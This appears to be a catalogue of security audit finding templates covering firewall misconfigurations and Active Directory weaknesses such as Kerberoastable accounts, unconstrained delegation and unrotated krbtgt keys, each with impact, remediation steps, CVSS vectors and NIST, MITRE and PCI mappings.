Remediation: 1. Enable logging on all deny rules, particularly the default-deny rule. 2. Use logging levels that capture the necessary detail (source IP, destination, port, protocol). 3. Implement log aggregation and alerting for suspicious deny patterns.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:N/A:N
NIST 800-53: AU-2
CRITICAL BA-031 — No Logging Configured — Complete Forensic Blind Spot
Description: No firewall rules in this configuration have logging enabled. The firewall is operating without any security event logging, creating a complete forensic blind spot.
Impact: Without any logging, the organisation cannot detect attacks, investigate incidents, demonstrate compliance, or understand traffic patterns. This is a fundamental security control failure.
Remediation: 1. Immediately enable logging on all permit rules. 2. Enable logging on the default-deny rule. 3. Configure syslog forwarding to a SIEM. 4. Define a log retention policy (minimum 90 days online, 1 year archived). 5. Establish a log review process.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
NIST 800-53: AU-2, AU-12
HIGH BA-032 — No DMZ (Demilitarised Zone) Detected
Description: No DMZ zone or interface has been identified in the firewall configuration. Public-facing services appear to be placed in the same zone as internal systems.
Impact: Without a DMZ, compromising a public-facing server (web, email, DNS) provides direct access to internal systems. This eliminates a critical layer of defence-in-depth.
Remediation: 1. Create a dedicated DMZ zone for all public-facing servers. 2. Configure the DMZ with an intermediate security level. 3. Implement strict policies between DMZ and internal zones. 4. Ensure DMZ servers cannot initiate connections to internal systems.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
NIST 800-53: SC-7
HIGH BA-033 — Direct Internet-to-Internal Permit Without DMZ Intermediate
Description: Permit rules exist that allow direct traffic from the external/internet zone to internal high-trust zones without passing through a DMZ or intermediate inspection zone.
Impact: Traffic from the internet reaches internal systems directly. A single exploitation event on an internet-facing system could lead to direct internal network compromise.
Remediation: 1. Redesign traffic flows to route internet traffic through a DMZ. 2. Place all public-facing services in the DMZ. 3. Implement application-layer inspection between DMZ and internal zones. 4. Require explicit permit rules for DMZ-to-internal traffic.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
HIGH BA-034 — Flat Network — Only One Zone or Interface Defined
Description: The firewall configuration defines only a single zone or network interface. All traffic flows through a single segment with no internal segmentation.
Impact: A flat network means a single compromised host can communicate with any other host. Lateral movement is trivial and ransomware can spread unimpeded.
Remediation: 1. Segment the network into functional zones (internal, DMZ, management, guest). 2. Implement firewall policies between each zone pair. 3. Consider microsegmentation for high-value systems. 4. Progressively add zones as part of a phased network redesign.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
NIST 800-53: SC-7
MEDIUM BA-035 — Server-to-Workstation Traffic Unrestricted
Description: No rules restrict east-west traffic between server and workstation segments. Servers can initiate connections to workstations and vice versa without inspection.
Impact: Unrestricted server-to-workstation traffic enables ransomware propagation, lateral movement from compromised servers to workstations, and from workstations to servers.
Remediation: 1. Implement east-west segmentation between server and workstation VLANs. 2. Deny all server-initiated connections to workstation networks. 3. Permit only required application ports from workstations to servers. 4. Implement network monitoring to detect anomalous east-west traffic.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
NIST 800-53: SC-7
HIGH BA-036 — Internal RFC-1918 Addresses Potentially Reachable Without NAT
Description: Permit rules allow traffic to private (RFC-1918) destination addresses from external zones without corresponding NAT translations, potentially exposing internal addressing.
Impact: If RFC-1918 addresses are routed externally without NAT, internal network topology is exposed. This can enable direct attacks against internal systems or reveal sensitive network design information.
Remediation: 1. Verify that NAT is configured for all rules permitting external traffic to internal RFC-1918 destinations. 2. Ensure that external routing does not leak RFC-1918 prefixes. 3. Implement NAT for all internal-to-external traffic flows.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:M/A:N
NIST 800-53: SC-7
MEDIUM BA-037 — 1:1 Static NAT Exposes Internal Host Directly to Internet
Description: A 1:1 static NAT mapping exposes an internal host directly to the internet with full port translation. All ports on the internal host are potentially reachable.
Impact: Static NAT 1:1 mappings expose the complete attack surface of the mapped internal host. Any vulnerability on that host is directly exploitable from the internet.
Remediation: 1. Replace 1:1 static NAT with port-specific NAT where possible. 2. Implement access control lists in combination with static NAT. 3. Only expose specific required ports, not the full host. 4. Move services requiring internet exposure to a DMZ with strict policies.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:M/A:N
MEDIUM BA-038 — IPv6 Traffic Not Addressed in Policy
Description: The firewall configuration does not include explicit IPv6 policy rules. If IPv6 is enabled on interfaces, traffic may be uncontrolled.
Impact: Unmanaged IPv6 traffic may bypass IPv4 security controls. Dual-stack hosts may be reachable via IPv6 paths that are not covered by the IPv4 firewall policy.
Remediation: 1. Audit all interfaces for IPv6 enablement. 2. If IPv6 is not required, disable it on all interfaces. 3. If IPv6 is used, implement a full dual-stack firewall policy mirroring IPv4 controls. 4. Block IPv6 tunnelling protocols (6to4, Teredo, ISATAP) at the perimeter.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:M/I:M/A:N
NIST 800-53: SC-7
MEDIUM BA-039 — GRE/IPSec Tunnels Permitted Without Authentication Requirement
Description: GRE (protocol 47) or IPSec (ESP/AH, protocols 50/51) tunnelling is permitted without authentication requirements enforced at the firewall level.
Impact: Unauthenticated GRE tunnels can be used to encapsulate and hide malicious traffic, bypassing application-layer inspection. GRE provides no confidentiality or integrity.
Remediation: 1. Replace GRE with authenticated IPSec tunnels. 2. Implement IKEv2 with strong authentication for all VPN tunnels. 3. If GRE is required, encapsulate in IPSec. 4. Implement strict source/destination restrictions on tunnel endpoints.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:M/I:M/A:N
NIST 800-53: SC-8
HIGH BA-040 — BGP/OSPF Routing Protocols Permitted from External Sources
Description: BGP (TCP 179) or OSPF routing protocol traffic is permitted from external or untrusted sources. Routing protocol injection can manipulate network traffic paths.
Impact: Rogue BGP sessions or OSPF updates can redirect traffic to attacker-controlled destinations, enable man-in-the-middle attacks, or cause network-wide outages.
Remediation: 1. Block BGP (TCP 179) from untrusted sources. 2. Implement BGP authentication (MD5 or TCP-AO). 3. Implement OSPF authentication. 4. Restrict routing protocol traffic to dedicated peering addresses.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
NIST 800-53: SC-7
MEDIUM BA-041 — Outbound SMTP Not Restricted to Mail Relay
Description: Outbound SMTP (TCP 25) is permitted from internal networks to any external destination, allowing any internal host to send email directly to external mail servers.
Impact: Unrestricted outbound SMTP enables malware to send spam, phishing emails, and data exfiltration via email from any compromised internal host. This also contributes to IP reputation damage.
Remediation: 1. Block outbound TCP 25 from all hosts except designated mail relays. 2. Route all outbound SMTP through a controlled mail relay/gateway. 3. Implement outbound email filtering and DMARC/SPF/DKIM. 4. Monitor for anomalous outbound email volumes.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:M/A:N
NIST 800-53: SC-7
MEDIUM BA-042 — TLS/SSL Bypass or Inspection Not Configured
Description: Encrypted traffic (HTTPS/TLS) is permitted through the firewall without any indication of SSL/TLS inspection being configured. Malware and data exfiltration commonly use HTTPS to evade detection.
Impact: Encrypted traffic bypasses all application-layer inspection. Malware C2 communications, data exfiltration, and phishing content cannot be inspected or blocked.
Remediation: 1. Implement SSL/TLS inspection where technically and legally feasible. 2. At minimum, block HTTPS to known malicious categories via DNS. 3. Implement certificate pinning bypass detection. 4. Consider decryption zones for high-risk traffic categories.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:N/A:N
NIST 800-53: SC-7
MEDIUM BA-043 — VoIP SIP Permitted Without Restriction
Description: SIP (Session Initiation Protocol, UDP/TCP 5060/5061) is permitted from untrusted sources without source restriction. SIP is commonly targeted for toll fraud and eavesdropping.
Impact: Exposed SIP enables toll fraud (attackers route expensive calls through your infrastructure), eavesdropping on VoIP calls, and SIP scanning for credential harvesting.
Remediation: 1. Restrict SIP to SIP trunk provider IP ranges only. 2. Implement SIP-aware firewall inspection. 3. Deploy a Session Border Controller (SBC). 4. Enable SIP authentication and registration rate limiting.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:M/A:L
NIST 800-53: SC-7
LOW BA-044 — Video Conferencing Ports Unrestricted
Description: Video conferencing service ports (Zoom 8801-8802, Teams 3478-3481, Webex) are permitted from any source without restriction.
Impact: Unrestricted video conferencing ports can be abused for reconnaissance and may expose internal network information through STUN/TURN protocol interactions.
Remediation: 1. Restrict video conferencing traffic to known service provider IP ranges. 2. Use cloud-relay services rather than direct peer connections where possible. 3. Implement application-aware firewall policies for video conferencing.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
NIST 800-53: SC-7
HIGH BA-045 — MQTT IoT Protocol Exposed (TCP 1883/8883)
Description: MQTT broker ports (TCP 1883 unencrypted or 8883 TLS) are accessible from untrusted sources. MQTT is the primary IoT messaging protocol and is frequently misconfigured without authentication.
Impact: Exposed MQTT brokers allow unauthenticated subscription to all IoT device topics, enabling surveillance, control of IoT devices, and lateral movement into IoT network segments.
Remediation: 1. Block MQTT ports from all untrusted sources. 2. Enable MQTT authentication and authorisation. 3. Use TLS-only MQTT (8883). 4. Implement MQTT topic-level access control. 5. Place MQTT broker in isolated IoT VLAN.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
NIST 800-53: SC-7
MEDIUM BA-046 — RDP Permitted on Non-Standard Ports
Description: Remote Desktop Protocol is permitted on non-standard ports (not 3389), suggesting an attempt to obscure RDP exposure. Security by obscurity does not reduce the actual risk.
Impact: RDP running on non-standard ports is discovered by modern port scanners within minutes. The underlying RDP vulnerabilities and risks remain identical regardless of port number.
Remediation: 1. Treat RDP on non-standard ports with the same urgency as standard-port RDP. 2. Implement proper access controls (VPN, specific source IPs) rather than port obfuscation. 3. Consider replacing RDP with a zero-trust remote access solution.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
NIST 800-53: SC-7
CRITICAL BA-047 — Cato WAN Firewall: Any-Any Permit Rule
Description: A WAN firewall rule permits all traffic with no source, destination, or service restrictions across SD-WAN sites.
Impact: Unrestricted site-to-site traffic bypasses intended network segmentation, allowing lateral movement between all connected sites.
Remediation: Replace any-any rules with specific site-to-site policies. Define explicit allowed traffic per application and direction.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
NIST 800-53: SC-7
HIGH BA-048 — Cato Internet Firewall: Outbound Any-Any Permit
Description: Internet-bound traffic is permitted without application or destination restriction, bypassing CASB and URL filtering controls.
Impact: Users can reach any internet destination on any port, enabling data exfiltration and access to malicious infrastructure.
Remediation: Enable Cato CASB and URL Filtering. Define explicit application allow-lists for internet access. Block all non-approved traffic by default.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:M/A:N
NIST 800-53: SC-7
MEDIUM BA-049 — Cato: No Identity-Based Policy — All Rules Use IP/Network Only
Description: All firewall rules use IP addresses or network objects with no user or group identity conditions, missing the zero-trust identity layer.
Impact: Any device with a matching IP can traverse permitted paths regardless of user identity, reducing the effectiveness of the SASE model.
Remediation: Migrate rules to identity-based policies using Cato's user/group identity conditions where possible.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:M/I:M/A:N
NIST 800-53: AC-17
HIGH BA-050 — Cloudflare Gateway: No Default Block on Network Policy
Description: No default-deny network policy exists in Cloudflare Gateway. Traffic not matching any explicit rule is passed through.
Impact: Traffic not matching any explicit rule is permitted by default, allowing access to unclassified destinations and services.
Remediation: Add a catch-all network policy at the lowest priority that blocks all unmatched traffic.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:M/A:L
NIST 800-53: SC-7(5)
MEDIUM BA-051 — Cloudflare Gateway: DNS Security Policy Not Configured
Description: No DNS security policies are present. Malicious domain blocking, DoH restrictions, and DNS-based threat intelligence are disabled.
Impact: Users can resolve malicious domains, access phishing sites, and malware can use any DNS server for C2 communication.
Remediation: Enable Cloudflare Gateway DNS filtering. Add policies to block known malware, phishing, and C2 categories.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:M/I:M/A:N
NIST 800-53: SI-3
HIGH BA-052 — Cloudflare Gateway: Unrestricted SSH/RDP in Network Policy
Description: A network policy permits SSH or RDP from any source without identity conditions in Cloudflare Gateway.
Impact: Any user or device matching the network policy can access SSH/RDP endpoints without additional identity verification, defeating zero-trust principles.
Remediation: Add user/group identity conditions to all SSH/RDP rules. Consider migrating to Cloudflare Access for zero-trust remote access.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: SC-7
CRITICAL BA-053 — Executive Env: Guest Network Not Isolated from Corporate
Description: Guest/visitor wireless or network segment can communicate with corporate resources. Executive environments are high-value targets and guests must have zero access to internal segments.
Impact: A threat actor, journalist, or corporate spy posing as a visitor could pivot from the guest network to executive communications, email systems, or board-level documents.
Remediation: 1. Isolate guest VLAN with deny-all to all corporate subnets. 2. Permit only internet-bound traffic from guest segment. 3. Implement client isolation on guest wireless. 4. Log all guest traffic to a SIEM.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
NIST 800-53: SC-7
HIGH BA-054 — Executive Env: Personal IoT Devices Reachable from Corporate Network
Description: Rules permit traffic to/from IP ranges or ports associated with consumer IoT devices (smart TVs, streaming, home assistants). These devices typically have poor security hygiene and no patch cadence.
Impact: Nation-state actors routinely compromise executive IoT devices for intelligence gathering. Cross-segment access creates a pivot path to executive communications and data.
Remediation: 1. Create a dedicated IoT VLAN with no route to corporate. 2. Restrict IoT segment to internet-only with content filtering. 3. Block known IoT management ports (8883, 1883, 8888) from corporate. 4. Implement network access control (NAC) to enforce device placement.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:M/A:L
NIST 800-53: SC-7
MEDIUM BA-055 — Executive Env: AV/Conferencing Ports Exposed Internally Without Restriction
Description: Audio/visual and conferencing equipment ports (Crestron, AMX, Extron, Zoom Rooms hardware) are reachable from all internal segments. These devices are rarely patched and frequently have default credentials.
Impact: AV equipment in executive boardrooms and conference rooms can be compromised via network access, enabling audio/video eavesdropping on confidential meetings.
Remediation: 1. Place AV equipment on a dedicated AV VLAN. 2. Restrict access to AV management ports to AV management workstations only. 3. Block Crestron (41794/41796), Extron (23/80), AMX (1319) from general users. 4. Enable logging on all rules touching the AV segment.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:M/I:M/A:L
NIST 800-53: CM-7
HIGH BA-056 — Executive Env: No Zero-Trust Access Control for VPN/Remote Access
Description: Remote access to the executive environment relies on traditional VPN without identity-aware, device-posture-based controls. Executive accounts are high-value phishing targets.
Impact: Compromised VPN credentials grant full network access without posture validation. Executive accounts with VPN access are primary targets for credential theft and phishing campaigns.
Remediation: 1. Implement zero-trust network access (ZTNA) for all executive remote connections. 2. Require MFA with phishing-resistant methods (FIDO2/hardware token) for all access. 3. Enforce device posture checks before granting access. 4. Log and alert on all executive remote access sessions.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L
NIST 800-53: AC-17
CRITICAL BA-057 — Executive Env: Logging Disabled on Rules Covering Executive Subnets
Description: Permit rules covering identified executive subnets have logging disabled, creating a forensic blind spot in the highest-value segment of the network.
Impact: Without logging on executive network segments, security teams cannot detect or investigate threats targeting the most sensitive users and data in the organisation.
Remediation: Enable logging on ALL rules that permit traffic to or from executive subnets. Route logs to immutable SIEM storage. Set alerts for anomalous connection patterns.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
NIST 800-53: AU-2, AU-12
HIGH BA-058 — Firewall Rule Permits Traffic to Known Malicious IP ({ip})
Description: A firewall rule permits traffic with a source or destination address that is flagged as KNOWN MALICIOUS by multiple threat-intelligence sources. The IP is confirmed as malicious infrastructure (C2, botnet node, compromised host, or hijacked network).
Impact: This rule allows network traffic to/from an IP address confirmed as malicious infrastructure. Active communication with this IP may indicate an ongoing compromise, data exfiltration, or command-and-control activity.
Remediation: 1. Immediately add a deny rule for the malicious IP above this permit rule. 2. Investigate firewall logs for any traffic to/from the IP. 3. If traffic occurred, treat as a potential incident — isolate affected hosts and begin forensic analysis. 4. Review the rule to determine if it can be narrowed.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
MITRE ATT&CK: T1071 (Command and Control)
NIST 800-53: SC-7
MEDIUM BA-059 — Firewall Rule Permits Traffic to Suspected Malicious IP ({ip})
Description: A firewall rule permits traffic with a source or destination address flagged as SUSPECTED malicious by threat-intelligence sources. The IP has been observed in attack activity, scanning, or brute-force attempts but is not yet confirmed as malicious.
Impact: This rule allows traffic to/from an IP reported as suspicious by multiple threat-intelligence sources. While not confirmed malicious, the IP has been observed in attack activity, scanning, or brute-force attempts. Permitting traffic increases exposure to potential threats.
Remediation: 1. Review whether traffic to/from the IP is expected and business-justified. 2. If not, add a deny rule above the permit. 3. Monitor traffic to/from the IP for anomalous patterns. 4. Subscribe to threat-intel updates for the IP.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:M/A:N
MITRE ATT&CK: T1071 (Command and Control)
NIST 800-53: SC-7
INFO BA-060 — Firewall Rule Blocks Known Malicious IP ({ip})
Description: A firewall rule correctly denies traffic with a source or destination address that is flagged as KNOWN MALICIOUS by threat-intelligence sources. The deny rule is actively blocking malicious traffic.
Impact: Positive observation: the firewall is actively blocking traffic to/from a confirmed malicious IP. This indicates effective threat-intel integration in the firewall policy.
Remediation: No action required — the deny rule is correctly blocking the malicious IP. Ensure this rule remains in place and is not overridden by a broader permit rule above it in the policy.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N
NIST 800-53: SC-7
MEDIUM DR-AD-001 — Active Directory: Kerberoastable Accounts
Description: {...} user account(s) have Service Principal Names (SPNs) set, making them vulnerable to Kerberoasting attacks. An attacker with any domain user credential can request TGS tickets for these accounts and crack them offline.
Impact: Kerberoasting allows any authenticated domain user to request service tickets for SPN-bearing accounts and attempt offline password cracking. If the account password is weak, the attacker obtains the cleartext credential. Privileged service accounts (e.g., SQL service accounts in Domain Admins) are especially high-value targets.
Remediation: Set strong, complex passwords (25+ characters) on all accounts with SPNs. Migrate service accounts to Group Managed Service Accounts (gMSA) which rotate passwords automatically. Remove unnecessary SPNs. Monitor for anomalous TGS-REQ activity (Event ID 4769).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1558.003 (Credential Access)
NIST 800-53: IA-5
PCI DSS 4: 8.3.1, 8.3.6
HIGH DR-AD-002 — Active Directory: AS-REP Roastable Accounts
Description: {...} account(s) have Kerberos pre-authentication disabled (DONT_REQUIRE_PREAUTH flag). These accounts are vulnerable to AS-REP roasting, allowing offline password cracking without any prior authentication.
Impact: AS-REP roasting is more dangerous than Kerberoasting because it does not require any valid domain credentials to execute. An attacker can request encrypted AS-REP messages for these accounts from outside the domain and crack them offline. This is a common initial access technique in Active Directory attacks.
Remediation: Enable Kerberos pre-authentication on all accounts: clear the 'Do not require Kerberos preauthentication' checkbox in account properties. No legitimate scenario requires this flag for standard user accounts. Audit accounts regularly for this flag. Monitor for anomalous AS-REQ traffic (Event ID 4768 with pre-auth type 0).
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1558.004 (Credential Access)
NIST 800-53: IA-2, IA-5
PCI DSS 4: 8.3.1, 8.3.6
HIGH DR-AD-003 — Active Directory: Unconstrained Delegation
Description: {...} non-domain-controller account(s) are configured for unconstrained Kerberos delegation. These systems can impersonate any user that authenticates to them, including domain administrators.
Impact: Unconstrained delegation allows a compromised server to reuse any user's Kerberos TGT that was forwarded during authentication. An attacker who compromises a server with unconstrained delegation can capture domain admin TGTs and use them to fully compromise the domain. This is a critical privilege escalation path in Active Directory environments.
Remediation: Replace unconstrained delegation with constrained delegation or resource-based constrained delegation (RBCD). Add privileged accounts to the Protected Users group or mark them as 'Account is sensitive and cannot be delegated'. Only Domain Controllers should have unconstrained delegation.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1558 (Credential Access), T1550.003 (Lateral Movement)
NIST 800-53: AC-6, AC-17
PCI DSS 4: 7.1.1, 7.2.1
HIGH DR-AD-004 — Policy: Weak Domain Password Policy
Description: The domain password policy does not meet security best practices. Minimum password length, complexity requirements, or password history may be insufficient, allowing users to set weak or commonly guessed passwords.
Impact: A weak domain password policy applies to all domain user accounts. Short passwords without complexity requirements can be cracked rapidly via offline attacks against NTDS.dit or captured hashes. The domain password policy is the single most impactful password control in the environment.
Remediation: Increase minimum password length to 12+ characters (14+ for privileged accounts). Enable complexity requirements. Set maximum password age to 60-90 days. Enforce at least 12 passwords of history. Deploy Fine-Grained Password Policies (PSOs) for privileged tiers. Implement Azure AD Password Protection for banned password lists.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1110 (Credential Access), T1110.001 (Credential Access)
NIST 800-53: IA-5
PCI DSS 4: 8.3.6
MEDIUM DR-AD-005 — Active Directory: LDAP Signing Not Enforced
Description: LDAP signing is set to '{...}' instead of 'Require signing'. This allows LDAP traffic to be transmitted unsigned, enabling man-in-the-middle attacks.
Impact: Without enforced LDAP signing, an attacker can perform LDAP relay attacks, intercepting and modifying LDAP queries and responses. This can be used to escalate privileges, modify group memberships, or reset passwords via LDAP relay combined with NTLM relay techniques (e.g., ntlmrelayx).
Remediation: Set 'Domain controller: LDAP server signing requirements' to 'Require signing' via Group Policy. Also enable LDAP channel binding. Test thoroughly before enforcement as it may break legacy applications using simple LDAP binds.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8, SC-23
PCI DSS 4: 4.2.1, 4.2.2
MEDIUM DR-AD-006 — Authentication: Kerberos DES Encryption Enabled
Description: The domain supports weak Kerberos encryption types: {...}. DES and RC4 are cryptographically broken and should not be used for Kerberos authentication.
Impact: DES-encrypted Kerberos tickets can be cracked trivially. RC4-HMAC (NTLM-based) is vulnerable to Kerberoasting offline cracking and overpass-the-hash attacks. Allowing weak encryption types downgrades the security of the entire Kerberos infrastructure.
Remediation: Disable DES and RC4 encryption types in the domain. Set msDS-SupportedEncryptionTypes to support only AES128 (0x08) and AES256 (0x10). Test thoroughly — legacy systems (especially pre-2008 R2) may require RC4. Migrate legacy systems before disabling.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 - Cryptographic Failures
MITRE ATT&CK: T1558 (Credential Access)
NIST 800-53: SC-12, SC-13
PCI DSS 4: 2.2.7, 4.2.1
MEDIUM DR-AD-008 — Active Directory: RBCD Configured
Description: {...} account(s) have Resource-Based Constrained Delegation configured (msDS-AllowedToActOnBehalfOfOtherIdentity). RBCD allows specified principals to impersonate users to the target service.
Impact: RBCD is a common privilege escalation vector. If an attacker can write to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of a target (via WRITE permission on the computer object), they can configure RBCD to impersonate any user (including Domain Admin) to that target's services. This is the basis of the RBCD/S4U2Self/S4U2Proxy attack chain.
Remediation: Review all RBCD configurations for legitimacy. Ensure that only authorized principals have WRITE access to computer objects' msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Monitor changes to this attribute via Event ID 5136. Remove unnecessary RBCD configurations.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1558 (Credential Access), T1134.001 (Privilege Escalation)
NIST 800-53: AC-6, AC-17
PCI DSS 4: 7.1.1, 7.2.1
MEDIUM DR-AD-009 — Active Directory: Domain Functional Level Outdated
Description: The Active Directory domain or forest functional level is below the current recommended level for the installed domain controller OS version. Outdated functional levels prevent the use of modern security features such as Protected Users group, Authentication Policies, and Kerberos armoring.
Impact: Outdated functional levels prevent the use of modern Active Directory security features including: Protected Users group (2012 R2+), Authentication Policies and Silos (2012 R2+), gMSA improvements, Kerberos armoring (FAST), and AES-only Kerberos enforcement. Older levels also correspond to operating systems that may be end-of-life.
Remediation: Raise the domain and forest functional levels after ensuring all Domain Controllers are running a supported Windows Server version. This is a one-way operation — test in a lab environment first. Target at minimum Windows Server 2016 functional level.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
NIST 800-53: SA-22, CM-6
PCI DSS 4: 6.3.2, 2.2.1
LOW DR-AD-010 — Active Directory: AdminSDHolder Orphaned Accounts
Description: {...} account(s) have AdminCount=1 set but are not current members of any privileged group. These are orphaned AdminSDHolder protections from former privilege.
Impact: Orphaned AdminSDHolder flags indicate accounts that were previously in privileged groups. The AdminCount flag persists after removal, and the AdminSDHolder ACL propagation may have left non-standard permissions. Attackers target these accounts as they may retain residual privileges or weaker ACLs.
Remediation: Clear the AdminCount attribute on accounts no longer in privileged groups. Reset the ACL on these accounts to inherit from the parent OU. Use the AdminSDHolder cleanup script to automate this process. Monitor AdminCount changes with Event ID 5136.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A01:2021 - Broken Access Control
NIST 800-53: AC-6
PCI DSS 4: 7.1.1, 7.2.1
HIGH DR-AD-011 — Active Directory: LAPS Not Deployed
Description: Local Administrator Password Solution (LAPS) is not deployed on this system or in the domain. Without LAPS, local administrator passwords are typically identical across all machines in the domain, or are never rotated, or both.
Impact: Shared local administrator passwords are the single most common lateral movement enabler in Active Directory environments. If one machine is compromised and its local admin password is recovered (via SAM dump, mimikatz, or other means), the same password grants admin access to every other machine in the domain. LAPS solves this by setting a unique, randomly generated password on each machine and rotating it automatically.
Remediation: Deploy LAPS (or Windows LAPS in Server 2025/Windows 11). Steps: 1) Extend the AD schema for LAPS attributes (ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime or Windows LAPS equivalents), 2) Install the LAPS CSE (Client-Side Extension) via GPO or SCCM, 3) Configure the LAPS GPO with password complexity, length (14+ chars), and age (30 days), 4) Set ACLs on the OU to restrict who can read the LAPS password (authorized helpdesk/admin groups only).
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1078.002 (Persistence)
NIST 800-53: IA-5, AC-2, CM-6
PCI DSS 4: 8.3.1, 8.3.5, 8.3.6
MEDIUM DR-AD-012 — Active Directory: krbtgt Key Not Rotated
Description: The krbtgt account password has not been changed in an extended period (typically 180+ days). The krbtgt account is used to encrypt all Kerberos Ticket Granting Tickets (TGTs) in the domain. If its key material is compromised, an attacker can forge Golden Tickets.
Impact: A compromised krbtgt key enables Golden Ticket attacks, granting the attacker unrestricted access to any resource in the domain for the lifetime of the key. Kerberos maintains two most-recent krbtgt key versions — rotating the password invalidates the oldest one. Microsoft recommends rotating the krbtgt password at least every 180 days, and immediately after any suspected domain compromise.
Remediation: Rotate the krbtgt password using the Microsoft krbtgt reset script or manually via PowerShell (Reset-KrbtgtPassword). IMPORTANT: The krbtgt password must be reset TWICE (with a sufficient interval between resets, at least equal to the maximum ticket lifetime — typically 10 hours) to invalidate all existing TGTs. Schedule regular rotation every 180 days. After a suspected compromise, reset immediately (twice).
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1558.001 (Credential Access)
NIST 800-53: IA-5, SC-12
PCI DSS 4: 8.3.5, 8.3.9
CISA KEV
LOW DR-AD-013 — Account Management: Stale Domain Accounts
